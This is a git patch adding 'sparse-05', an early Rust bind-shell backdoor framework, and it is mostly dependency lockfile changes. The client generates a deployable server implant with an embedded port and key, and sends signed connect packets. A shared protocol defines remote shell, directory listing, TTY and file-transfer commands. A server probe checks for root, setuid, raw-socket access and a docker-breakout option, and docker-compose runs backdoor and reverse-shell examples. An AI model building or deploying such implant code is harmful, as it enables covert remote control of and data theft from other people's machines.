From aecf1c9b804a5ef1ad98c97f88536911d58099db Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sat, 2 Sep 2023 14:32:34 -0400 Subject: [PATCH] feat: adding a bind shell example with more stuff adding a bind shell that can allow for more practice with future features such as multiple transports, encryption, transferring files, and a more robust client interface --- .devcontainer/Dockerfile.alpine | 2 +- Cargo.lock | 384 ++++++++++++++++-- Cargo.toml | 4 +- Makefile.toml | 2 +- docker-compose.yml | 12 +- pcap-sys/src/lib.rs | 1 + sparse-05/README.md | 20 + sparse-05/sparse-05-client/Cargo.toml | 15 + .../src/commands/connect/mod.rs | 27 ++ .../sparse-05-client/src/commands/generate.rs | 48 +++ .../sparse-05-client/src/commands/mod.rs | 2 + sparse-05/sparse-05-client/src/configs.rs | 8 + sparse-05/sparse-05-client/src/main.rs | 17 + sparse-05/sparse-05-client/src/options.rs | 43 ++ sparse-05/sparse-05-common/Cargo.toml | 11 + sparse-05/sparse-05-common/src/lib.rs | 93 +++++ sparse-05/sparse-05-server/Cargo.toml | 23 ++ .../sparse-05-server/src/capabilities.rs | 60 +++ sparse-05/sparse-05-server/src/connection.rs | 10 + sparse-05/sparse-05-server/src/interface.rs | 37 ++ sparse-05/sparse-05-server/src/main.rs | 96 +++++ 21 files changed, 878 insertions(+), 37 deletions(-) create mode 100644 sparse-05/README.md create mode 100644 sparse-05/sparse-05-client/Cargo.toml create mode 100644 sparse-05/sparse-05-client/src/commands/connect/mod.rs create mode 100644 sparse-05/sparse-05-client/src/commands/generate.rs create mode 100644 sparse-05/sparse-05-client/src/commands/mod.rs create mode 100644 sparse-05/sparse-05-client/src/configs.rs create mode 100644 sparse-05/sparse-05-client/src/main.rs create mode 100644 sparse-05/sparse-05-client/src/options.rs create mode 100644 sparse-05/sparse-05-common/Cargo.toml create mode 100644 sparse-05/sparse-05-common/src/lib.rs create mode 100644 sparse-05/sparse-05-server/Cargo.toml create mode 100644 sparse-05/sparse-05-server/src/capabilities.rs create mode 100644 sparse-05/sparse-05-server/src/connection.rs create mode 100644 sparse-05/sparse-05-server/src/interface.rs create mode 100644 sparse-05/sparse-05-server/src/main.rs diff --git a/.devcontainer/Dockerfile.alpine b/.devcontainer/Dockerfile.alpine index cd839f3..6504444 100644 --- a/.devcontainer/Dockerfile.alpine +++ b/.devcontainer/Dockerfile.alpine @@ -16,4 +16,4 @@ FROM rust:1-alpine RUN apk add cmake make automake musl-dev autoconf libtool \ - flex bison linux-headers openssl-dev lldb build-base \ No newline at end of file + flex bison linux-headers openssl-dev lldb build-base libcap-dev diff --git a/Cargo.lock b/Cargo.lock index 332db10..47ad76e 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3,10 +3,34 @@ version = 3 [[package]] -name = "anyhow" -version = "1.0.70" +name = "addr2line" +version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ansi_term" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2" +dependencies = [ + "winapi", +] + +[[package]] +name = "anyhow" +version = "1.0.75" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" [[package]] name = "atty" @@ -34,6 +58,27 @@ dependencies = [ "cc", ] +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + [[package]] name = "block-buffer" version = "0.9.0" @@ -55,6 +100,12 @@ version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" +[[package]] +name = "catconf" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7cb884f60a33e0a6811d6935931d0f66c312b0281ef835886c2bfa9d53411ad" + [[package]] name = "cc" version = "1.0.79" @@ -67,6 +118,21 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" +[[package]] +name = "clap" +version = "2.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c" +dependencies = [ + "ansi_term", + "atty", + "bitflags", + "strsim", + "textwrap", + "unicode-width", + "vec_map", +] + [[package]] name = "cmake" version = "0.1.50" @@ -98,9 +164,9 @@ dependencies = [ [[package]] name = "curve25519-dalek" -version = "3.2.1" +version = "3.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90f9d052967f590a76e62eb387bd0bbb1b000182c3cefe5364db6b7211651bc0" +checksum = "0b9fdf9972b2bd6af2d913799d9ebc165ea4d2e65878e329d9c6b372c4491b61" dependencies = [ "byteorder", "digest", @@ -124,6 +190,7 @@ version = "1.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "91cff35c70bba8a626e3185d8cd48cc11b5437e1a5bcd15b9b5fa3c64b6dfee7" dependencies = [ + "serde", "signature", ] @@ -137,6 +204,7 @@ dependencies = [ "ed25519", "rand", "serde", + "serde_bytes", "sha2", "zeroize", ] @@ -271,7 +339,7 @@ checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.29", ] [[package]] @@ -325,6 +393,21 @@ dependencies = [ "wasi 0.9.0+wasi-snapshot-preview1", ] +[[package]] +name = "gimli" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" + +[[package]] +name = "heck" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +dependencies = [ + "unicode-segmentation", +] + [[package]] name = "hermit-abi" version = "0.1.19" @@ -376,6 +459,15 @@ version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", +] + [[package]] name = "mio" version = "0.8.6" @@ -397,6 +489,15 @@ dependencies = [ "libc", ] +[[package]] +name = "num-traits" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f30b0abd723be7e2ffca1272140fac1a2f084c77ec3e123c192b66af1ee9e6c2" +dependencies = [ + "autocfg", +] + [[package]] name = "num_cpus" version = "1.15.0" @@ -416,12 +517,54 @@ dependencies = [ "libc", ] +[[package]] +name = "object" +version = "0.32.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77ac5bbd07aea88c60a577a1ce218075ffd59208b2d7ca97adf9bfc5aeb21ebe" +dependencies = [ + "memchr", +] + [[package]] name = "opaque-debug" version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "paw" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09c0fc9b564dbc3dc2ed7c92c0c144f4de340aa94514ce2b446065417c4084e9" +dependencies = [ + "paw-attributes", + "paw-raw", +] + +[[package]] +name = "paw-attributes" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f35583365be5d148e959284f42526841917b7bfa09e2d1a7ad5dde2cf0eaa39" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "paw-raw" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f0b59668fe80c5afe998f0c0bf93322bf2cd66cafeeb80581f291716f3467f2" + [[package]] name = "pcap-sys" version = "0.1.0" @@ -436,9 +579,9 @@ dependencies = [ [[package]] name = "pin-project-lite" -version = "0.2.9" +version = "0.2.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" [[package]] name = "pin-utils" @@ -453,19 +596,43 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" [[package]] -name = "proc-macro2" -version = "1.0.56" +name = "proc-macro-error" +version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b63bdb0cd06f1f4dedf69b254734f9b45af66e4a031e42a7480257d9898b435" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro2" +version = "1.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" dependencies = [ "unicode-ident", ] [[package]] name = "quote" -version = "1.0.26" +version = "1.0.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4424af4bf778aae2051a77b60283332f386554255d722233d09fbfc7e30da2fc" +checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" dependencies = [ "proc-macro2", ] @@ -512,10 +679,61 @@ dependencies = [ ] [[package]] -name = "serde" -version = "1.0.160" +name = "rmp" +version = "0.8.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bb2f3770c8bce3bcda7e149193a069a0f4365bda1fa5cd88e03bca26afc1216c" +checksum = "7f9860a6cc38ed1da53456442089b4dfa35e7cedaa326df63017af88385e6b20" +dependencies = [ + "byteorder", + "num-traits", + "paste", +] + +[[package]] +name = "rmp-serde" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bffea85eea980d8a74453e5d02a8d93028f3c34725de143085a844ebe953258a" +dependencies = [ + "byteorder", + "rmp", + "serde", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "serde" +version = "1.0.188" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf9e0fcba69a370eed61bcf2b728575f726b50b55cba78064753d708ddc7549e" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_bytes" +version = "0.11.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab33ec92f677585af6d88c65593ae2375adde54efdbf16d597f2cbc7a6d368ff" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_derive" +version = "1.0.188" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4eca7ac642d82aa35b60049a6eccb4be6be75e599bd2e9adb5f875a737654af2" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.29", +] [[package]] name = "sha2" @@ -569,12 +787,53 @@ dependencies = [ [[package]] name = "socket2" -version = "0.4.9" +version = "0.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64a4a911eed85daf18834cfaa86a79b7d266ff93ff5ba14005426219480ed662" +checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" dependencies = [ "libc", - "winapi", + "windows-sys 0.48.0", +] + +[[package]] +name = "sparse-05-client" +version = "0.5.0" +dependencies = [ + "anyhow", + "ed25519-dalek", + "rand", + "rmp-serde", + "serde", + "sparse-05-common", + "sparse-05-server", + "structopt", + "tokio", +] + +[[package]] +name = "sparse-05-common" +version = "0.1.0" +dependencies = [ + "ed25519-dalek", + "rand", + "serde", +] + +[[package]] +name = "sparse-05-server" +version = "0.5.0" +dependencies = [ + "anyhow", + "catconf", + "cc", + "ed25519-dalek", + "libc", + "log", + "pcap-sys", + "rmp-serde", + "serde", + "simple_logger", + "sparse-05-common", ] [[package]] @@ -584,6 +843,37 @@ dependencies = [ "pcap-sys", ] +[[package]] +name = "strsim" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ea5119cdb4c55b55d432abb513a0429384878c15dde60cc77b1c99de1a95a6a" + +[[package]] +name = "structopt" +version = "0.3.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c6b5c64445ba8094a6ab0c3cd2ad323e07171012d9c98b0b15651daf1787a10" +dependencies = [ + "clap", + "lazy_static", + "paw", + "structopt-derive", +] + +[[package]] +name = "structopt-derive" +version = "0.4.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcb5ae327f9cc13b68763b5749770cb9e048a99bd9dfdfa58d0cf05d5f64afe0" +dependencies = [ + "heck", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + [[package]] name = "subtle" version = "2.4.1" @@ -592,15 +882,35 @@ checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" [[package]] name = "syn" -version = "2.0.15" +version = "1.0.109" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a34fcf3e8b60f57e6a14301a2e916d323af98b0ea63c599441eec8558660c822" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" dependencies = [ "proc-macro2", "quote", "unicode-ident", ] +[[package]] +name = "syn" +version = "2.0.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c324c494eba9d92503e6f1ef2e6df781e78f6a7705a0202d9801b198807d518a" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "textwrap" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d326610f408c7a4eb6f51c37c330e496b08506c9457c9d34287ecc38809fb060" +dependencies = [ + "unicode-width", +] + [[package]] name = "time" version = "0.3.20" @@ -632,11 +942,11 @@ dependencies = [ [[package]] name = "tokio" -version = "1.28.0" +version = "1.32.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3c786bf8134e5a3a166db9b29ab8f48134739014a3eca7bc6bfa95d673b136f" +checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" dependencies = [ - "autocfg", + "backtrace", "bytes", "libc", "mio", @@ -656,7 +966,7 @@ checksum = "630bdcf245f78637c13ec01ffae6187cca34625e8c63150d424b59e55af2675e" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.29", ] [[package]] @@ -682,6 +992,24 @@ version = "1.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e5464a87b239f13a63a501f2701565754bae92d243d4bb7eb12f6d57d2269bf4" +[[package]] +name = "unicode-segmentation" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" + +[[package]] +name = "unicode-width" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" + +[[package]] +name = "vec_map" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bddf1187be692e79c5ffeab891132dfb0f236ed36a43c7ed39f1165ee20191" + [[package]] name = "version_check" version = "0.9.4" @@ -871,9 +1199,9 @@ checksum = "1a515f5799fe4961cb532f983ce2b23082366b898e52ffbce459c86f67c8378a" [[package]] name = "zeroize" -version = "1.3.0" +version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4756f7db3f7b5574938c3eb1c117038b8e07f95ee6718c0efad4ac21508f1efd" +checksum = "2a0956f1ba7c7909bfb66c2e9e4124ab6f6482560f6628b5aaeba39207c9aad9" dependencies = [ "zeroize_derive", ] @@ -886,5 +1214,5 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.29", ] diff --git a/Cargo.toml b/Cargo.toml index 393e133..5aa7e72 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -2,8 +2,10 @@ members = [ "pcap-sys", "nl-sys", "examples/*/*", - "sparse-protocol" + "sparse-protocol", + "sparse-05/*", ] +resolver = "2" [profile.release] strip = true diff --git a/Makefile.toml b/Makefile.toml index 5708bb6..2efd1b2 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -90,4 +90,4 @@ dependencies = ["setup", "build", "ci-convco-check"] [tasks.ci-convco-check] command = "convco" -args = ["check"] \ No newline at end of file +args = ["check"] diff --git a/docker-compose.yml b/docker-compose.yml index 1f87b2d..5240029 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,12 +1,12 @@ -version: '3.8' +version: "3.8" services: build: build: context: .devcontainer dockerfile: Dockerfile.alpine volumes: - - ${CARGO_HOME}/registry:${CARGO_HOME}/registry - - /workspaces/sparse:/workspaces/sparse + - ${CARGO_HOME}/registry:/usr/local/cargo/registry + - ./:/workspaces/sparse working_dir: /workspaces/sparse entrypoint: /usr/local/cargo/bin/cargo tty: true @@ -20,7 +20,7 @@ services: command: /workspaces/sparse/target/debug/ex-bind-shell-backdoor # privileged flag is for iptables, not for the backdoor privileged: true - + examples_bindshell_client: image: alpine volumes: @@ -42,5 +42,5 @@ services: volumes: - ./target:/workspaces/sparse/target expose: - - '54248/udp' - command: /workspaces/sparse/target/debug/ex-revshell-server \ No newline at end of file + - "54248/udp" + command: /workspaces/sparse/target/debug/ex-revshell-server diff --git a/pcap-sys/src/lib.rs b/pcap-sys/src/lib.rs index 56c801d..97709ce 100644 --- a/pcap-sys/src/lib.rs +++ b/pcap-sys/src/lib.rs @@ -146,6 +146,7 @@ impl Drop for Interface { } unsafe impl Send for Interface {} +unsafe impl Sync for Interface {} impl Interface { pub fn new(name: &str) -> error::Result> { diff --git a/sparse-05/README.md b/sparse-05/README.md new file mode 100644 index 0000000..fe84113 --- /dev/null +++ b/sparse-05/README.md @@ -0,0 +1,20 @@ + + +# Sparse 0.5 + +Sparse 0.5 is a stopgap \ No newline at end of file diff --git a/sparse-05/sparse-05-client/Cargo.toml b/sparse-05/sparse-05-client/Cargo.toml new file mode 100644 index 0000000..528a18c --- /dev/null +++ b/sparse-05/sparse-05-client/Cargo.toml @@ -0,0 +1,15 @@ +[package] +name = "sparse-05-client" +version = "0.5.0" +edition = "2021" + +[dependencies] +anyhow = "1.0.75" +ed25519-dalek = "1.0.1" +rand = "0.7" +rmp-serde = "1.1.2" +serde = { version = "1.0.188", features = ["derive"] } +sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" } +sparse-05-server = { version = "0.5.0", path = "../sparse-05-server" } +structopt = { version = "0.3.26", features = ["paw"] } +tokio = { version = "1.32.0", features = ["io-std", "net", "fs", "macros", "rt"] } diff --git a/sparse-05/sparse-05-client/src/commands/connect/mod.rs b/sparse-05/sparse-05-client/src/commands/connect/mod.rs new file mode 100644 index 0000000..398f978 --- /dev/null +++ b/sparse-05/sparse-05-client/src/commands/connect/mod.rs @@ -0,0 +1,27 @@ +use std::{net::SocketAddr, path::PathBuf, sync::Arc}; + +use ed25519_dalek::{Keypair, Signer}; +use sparse_05_common::messages::CONNECT_MESSAGE; +use tokio::{fs, net::UdpSocket}; + +use crate::configs::ClientConfig; + +enum State { + Ready, + UploadingFile, + DownloadingFile, +} + +pub async fn connect(config: PathBuf, ip: SocketAddr) -> anyhow::Result<()> { + let config = fs::read(&config).await?; + let config: ClientConfig = rmp_serde::from_slice(&config)?; + + let remote = Arc::new(UdpSocket::bind("0.0.0.0:0").await?); + + let connect_signature = config.keypair.sign(CONNECT_MESSAGE).to_bytes(); + let connect_msg = &[&connect_signature, CONNECT_MESSAGE].concat(); + + remote.send_to(connect_msg, ip).await?; + + Ok(()) +} diff --git a/sparse-05/sparse-05-client/src/commands/generate.rs b/sparse-05/sparse-05-client/src/commands/generate.rs new file mode 100644 index 0000000..8bdd5a7 --- /dev/null +++ b/sparse-05/sparse-05-client/src/commands/generate.rs @@ -0,0 +1,48 @@ +use std::{ffi::OsString, path::PathBuf}; + +use ed25519_dalek::Keypair; +use sparse_05_common::CONFIG_SEPARATOR; +use tokio::{fs, io::AsyncWriteExt}; + +use crate::configs::ClientConfig; + +#[cfg(debug_assertions)] +pub const SPARSE_SERVER_BINARY: &'static [u8] = + include_bytes!("../../../../target/debug/sparse-05-server"); +#[cfg(not(debug_assertions))] +pub const SPARSE_SERVER_BINARY: &'static [u8] = + include_bytes!("../../../../target/release/sparse-05-server"); + +pub async fn generate(mut name: PathBuf, port: u16) -> anyhow::Result<()> { + let mut csprng = rand::thread_rng(); + let keypair = Keypair::generate(&mut csprng); + + let mut file = fs::OpenOptions::new() + .write(true) + .create(true) + .mode(0o755) + .open(&name) + .await?; + + file.write_all(SPARSE_SERVER_BINARY).await?; + file.write_all(CONFIG_SEPARATOR).await?; + file.write_all(&port.to_be_bytes()[..]).await?; + file.write_all(keypair.public.as_bytes()).await?; + + let config = ClientConfig { keypair, port }; + + let mut file_part = name.file_name().unwrap().to_owned(); + file_part.push(OsString::from(".conf")); + name.pop(); + name.push(file_part); + let mut file = fs::OpenOptions::new() + .write(true) + .create(true) + .open(&name) + .await?; + + let config = rmp_serde::to_vec(&config)?; + file.write_all(&config).await?; + + Ok(()) +} diff --git a/sparse-05/sparse-05-client/src/commands/mod.rs b/sparse-05/sparse-05-client/src/commands/mod.rs new file mode 100644 index 0000000..ef06e7d --- /dev/null +++ b/sparse-05/sparse-05-client/src/commands/mod.rs @@ -0,0 +1,2 @@ +pub mod connect; +pub mod generate; diff --git a/sparse-05/sparse-05-client/src/configs.rs b/sparse-05/sparse-05-client/src/configs.rs new file mode 100644 index 0000000..c4409a5 --- /dev/null +++ b/sparse-05/sparse-05-client/src/configs.rs @@ -0,0 +1,8 @@ +use ed25519_dalek::Keypair; +use serde::{Deserialize, Serialize}; + +#[derive(Serialize, Deserialize)] +pub struct ClientConfig { + pub keypair: Keypair, + pub port: u16, +} diff --git a/sparse-05/sparse-05-client/src/main.rs b/sparse-05/sparse-05-client/src/main.rs new file mode 100644 index 0000000..6f5d2dc --- /dev/null +++ b/sparse-05/sparse-05-client/src/main.rs @@ -0,0 +1,17 @@ +use structopt::StructOpt; + +mod commands; +mod configs; +mod options; + +use options::{Command, Options}; + +#[tokio::main] +async fn main() -> anyhow::Result<()> { + let options = Options::from_args(); + + match options.command { + Command::Generate { name, port } => commands::generate::generate(name, port).await, + Command::Connect { config, ip } => commands::connect::connect(config, ip).await, + } +} diff --git a/sparse-05/sparse-05-client/src/options.rs b/sparse-05/sparse-05-client/src/options.rs new file mode 100644 index 0000000..025257e --- /dev/null +++ b/sparse-05/sparse-05-client/src/options.rs @@ -0,0 +1,43 @@ +use std::{ + net::{Ipv4Addr, SocketAddr, ToSocketAddrs}, + path::PathBuf, +}; + +use structopt::{self, StructOpt}; + +fn to_socket_addr(src: &str) -> Result { + use std::io::{Error, ErrorKind}; + + src.to_socket_addrs()?.next().ok_or(Error::new( + ErrorKind::Other, + "could not get a valid socket address", + )) +} + +#[derive(StructOpt)] +pub enum Command { + Generate { + #[structopt(parse(from_os_str))] + name: PathBuf, + + #[structopt(default_value = "54248")] + port: u16, + }, + Connect { + #[structopt(parse(from_os_str))] + config: PathBuf, + + #[structopt(parse(try_from_str = to_socket_addr))] + ip: SocketAddr, + }, +} + +#[derive(StructOpt)] +#[structopt( + name = "sparse-client", + about = "Client to and generator of sparse shells" +)] +pub struct Options { + #[structopt(subcommand)] + pub command: Command, +} diff --git a/sparse-05/sparse-05-common/Cargo.toml b/sparse-05/sparse-05-common/Cargo.toml new file mode 100644 index 0000000..d7f554f --- /dev/null +++ b/sparse-05/sparse-05-common/Cargo.toml @@ -0,0 +1,11 @@ +[package] +name = "sparse-05-common" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +ed25519-dalek = { version = "1.0.1", features = ["serde"] } +rand = "0.7" +serde = { version = "1.0.188", features = ["derive"] } diff --git a/sparse-05/sparse-05-common/src/lib.rs b/sparse-05/sparse-05-common/src/lib.rs new file mode 100644 index 0000000..5b6d472 --- /dev/null +++ b/sparse-05/sparse-05-common/src/lib.rs @@ -0,0 +1,93 @@ +pub const CONFIG_SEPARATOR: &'static [u8] = + b"79101092eb6a40268337875896f1009da0af4fe4ae0d4c67834c54fe735f1763"; + +pub mod messages { + pub const CONNECT_MESSAGE: &'static [u8] = b"CONNECT"; + + use std::{ffi::OsString, path::PathBuf}; + + use ed25519_dalek::Signature; + use serde::{Deserialize, Serialize}; + + #[derive(Serialize, Deserialize)] + pub struct CommandWrapper { + sig: Signature, + command: Vec, + } + + #[derive(Serialize, Deserialize)] + pub enum Command { + SendData(Vec), + + Cd(PathBuf), + Ls(PathBuf), + + OpenTTY, + CloseTTY, + + StartUploadFile(PathBuf, u64), + SendFileSegment(u64, u64, Vec), + + StartDownloadFile(PathBuf, u64), + DownloadFileStatus(Result<(), Vec>), + } + + #[derive(Serialize, Deserialize)] + pub enum FileType { + File, + Dir, + Symlink(PathBuf), + Fifo, + Socket, + Block, + Char, + } + + #[derive(Serialize, Deserialize)] + pub struct UnixMetadata { + pub mode: u32, + pub uid: u32, + pub gid: u32, + pub ctime: i64, + pub mtime: i64, + } + + #[derive(Serialize, Deserialize)] + pub struct DirEntry { + pub name: OsString, + pub size: u64, + pub unix: Option, + } + + #[derive(Serialize, Deserialize)] + pub enum Response { + Connected(Capabilities), + SendData(Vec), + + CdDone, + LsResults(Vec), + + OpenedTTY, + ClosedTTY, + + UploadFileID(u64), + UploadFileStatus(Result<(), Vec>), + + DownloadFileSegment(u64, u64, Vec), + } + + #[derive(Serialize, Deserialize, Debug)] + pub enum TransportType { + RawUdp, + Udp, + } + + #[derive(Serialize, Deserialize, Debug)] + pub struct Capabilities { + pub docker_container: bool, + pub docker_breakout: bool, + pub setuid: bool, + pub root: bool, + pub transport: TransportType, + } +} diff --git a/sparse-05/sparse-05-server/Cargo.toml b/sparse-05/sparse-05-server/Cargo.toml new file mode 100644 index 0000000..406056c --- /dev/null +++ b/sparse-05/sparse-05-server/Cargo.toml @@ -0,0 +1,23 @@ +[package] +name = "sparse-05-server" +version = "0.5.0" +edition = "2021" + +[dependencies] +pcap-sys = { path = "../../pcap-sys" } +anyhow = "1.0.70" +ed25519-dalek = "1.0.1" +log = "0.4.17" +simple_logger = "4.1.0" +libc = { version = "0.2.147" } +serde = { version = "1.0.188", features = ["derive"] } +rmp-serde = "1.1.2" +catconf = "0.1.2" +sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" } + +[build-dependencies] +cc = "1.0" + +[features] +docker-breakout = [] +exit = [] diff --git a/sparse-05/sparse-05-server/src/capabilities.rs b/sparse-05/sparse-05-server/src/capabilities.rs new file mode 100644 index 0000000..688d358 --- /dev/null +++ b/sparse-05/sparse-05-server/src/capabilities.rs @@ -0,0 +1,60 @@ +use std::ffi::c_int; + +use sparse_05_common::messages::{Capabilities, TransportType}; + +const CAP_SETUID: u32 = 1 << 7; +const CAP_NET_RAW: u32 = 1 << 13; +const SYS_capget: i64 = 125; + +#[allow(non_camel_case_types)] +#[repr(C)] +#[derive(Debug)] +struct cap_user_header_t { + version: u32, + pid: c_int, +} + +#[allow(non_camel_case_types)] +#[repr(C)] +#[derive(Debug)] +struct cap_user_data_t { + effective: u32, + permitted: u32, + inheritable: u32, +} + +pub fn get_capabilities() -> anyhow::Result { + let mut header = cap_user_header_t { + version: 0x20080522, + pid: 0, + }; + let mut data = cap_user_data_t { + effective: 0, + permitted: 0, + inheritable: 0, + }; + let oscapabilities = + unsafe { libc::syscall(SYS_capget, &mut header as *const _, &mut data as *mut _) }; + + if oscapabilities == -1 { + return Err(std::io::Error::last_os_error())?; + } + + let docker_container = false; + let docker_breakout = false; + let root = unsafe { libc::getuid() } == 0; + let setuid = data.effective & CAP_SETUID != 0; + let transport = if data.effective & CAP_NET_RAW != 0 || 